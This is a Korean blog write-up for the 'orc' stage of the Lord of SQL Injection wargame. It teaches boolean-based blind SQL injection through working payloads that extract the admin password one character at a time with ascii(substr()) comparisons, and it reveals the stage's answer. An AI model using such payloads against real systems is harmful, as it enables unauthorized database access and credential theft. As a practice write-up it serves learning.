상세 컨텐츠

본문 제목

[Lord of SQL Injection] orc 4번 풀이

[Tech] War Game/Lord of SQL Injection

by tech-dailylife 2020. 7. 6. 13:54

본문

반응형

사이트 주소 : https://los.rubiya.kr/

 

4번 문제 orc 입니다.

 

[문제 접근]

query를 보면 id는 admin으로 고정되어 있고, pw 파라미터를 입력받고 있습니다.

소스코드를 보면 pw 를 맞춰야 문제가 풀릴 것 같네요.

블라인드 인젝션을 통해 pw를 알아내보겠습니다.

참고로 블라인드 인젝션은 결과가 참일 때와 거짓일 때가 다르게 나타나는 포인트를 찾아 한 글자씩 db명이나 테이블명, 컬럼명, ID, PW를 알아낼 때 사용할 수 있습니다.

 

우선 참과 거짓에 따라 다르게 나오는 포인트를 찾아봅니다.

?pw='||1=1%23

위 쿼리를 날리면 참일 때는 Hello admin이라는 문구가 출력되고,

?pw='||1=2%23

위 쿼리를 날리면 거짓일 때는 문구가 출력이 되지 않습니다.

이 차이를 이용하여 PW를 알아내겠습니다.

 

substr 함수는 블라인드 인젝션에 많이 사용됩니다. substr(a, b, c)라 하면 a문자열을 b부터 c개만큼 잘라 나타내기 떄문에 substr(pw, 1, 1)하면 pw 문자열을 첫 번째부터 1개 문자열을 가져오게 됩니다.

그리고 ascii 함수는 문자를 ascii 코드로 변환합니다. 이 함수를 쓰는 이유는 크고 작다는 > < 연산을 사용하기 위해서 입니다. 숫자로 변환해야 계산이 편하겠죠.

아래 두 경우를 보면, >를 할 때와 <를 할 때 모두 Hello admin이 나옵니다. 뭔가 이상한 거죠. 하나는 참 하나는 거짓으로 결과가 나와야 하는데요. 그 이유는 admin 계정이 아닌 다른 계정도 있기 때문에 누구의 pw를 찾을지 지정해주지 않았기 때문입니다.

?pw='||ascii(substr(pw, 1, 1))>50%23

?pw='||ascii(substr(pw, 1, 1))<50%23

그럼 id를 admin으로 고정하겠습니다. 아래와 같이 하면 되겠죠.

?pw='||id='admin' and ascii(substr(pw, 1, 1))<50%23

이제 admin이라는 계정의 pw를 알아내기 위한 쿼리가 완성되었습니다.

이제는 하나씩 하나씩 공들여서 해보겠습니다.

대략 반반 나눠서 해보면서 값을 찾아봅니다.

딱 1글자만 같이 해보겠습니다.

?pw='||id='admin' and ascii(substr(pw, 1, 1))<30%23

거짓

?pw='||id='admin' and ascii(substr(pw, 1, 1))<40%23

거짓

?pw='||id='admin' and ascii(substr(pw, 1, 1))<45%23

거짓

?pw='||id='admin' and ascii(substr(pw, 1, 1))<48%23

거짓

?pw='||id='admin' and ascii(substr(pw, 1, 1))<49%23

그럼 pw의 첫 글자는 ascii코드가 48인 것으로 찾았습니다. ascii 표에서 확인하면, pw 첫 글자는 0 입니다.

아래와 같이 확인 해볼 수 있겠죠.

?pw='||id='admin' and substr(pw, 1, 1)='0'%23

 

다음 숫자를 알아보려면 아래와 같은 쿼리를 구성하면 됩니다. substr의 시작 값을 2로 바꾸는거죠.

?pw='||id='admin' and ascii(substr(pw, 2, 1))<100%23

과정이 길기 때문에 생략하겠습니다. 위 첫 글자를 알아낼 때 처럼 반복하면 됩니다.

두번째 pw ascii 57 -> 9

세번째 pw ascii 53 -> 5

네번째 pw ascii 97 -> a

다섯번째 pw ascii 57 -> 9

여섯번째 pw ascii 56 -> 8

일곱번째 pw ascii 53 -> 5

여덟번째 pw ascii 50 -> 2

 

이제 이렇게 8글자까지 알아냈습니다. 

그리고 9번 째 글자의 ascii는 아래와 같이 0으로 나오네요

ascii 코드 0을 보면 null값입니다. 이 것을 보아 pw는 8글자라는 것을 알 수 있습니다.

(사실 substr을 사용하기 전에 length 함수로 pw 길이를 먼저 체크해야합니다. 이 방법은 다음 문제에서 하겠습니다.)

 

 

[문제 정답]

정답 : ?pw=095a9852

 

"ORC Clear!" 가 나타납니다. 정답!

다음 스테이지로 넘어가시죠~

 

블라인드 인젝션을 사용하는 방법으로 참과 거짓에 따라 다른 페이지가 나오는 포인트를 찾고

그 참, 거짓 값에 substr과 ascii 함수 그리고 <, >, = 연산을 사용하여 pw 값을 알아내는 것을 실습했습니다.

반응형

관련글 더보기

댓글 영역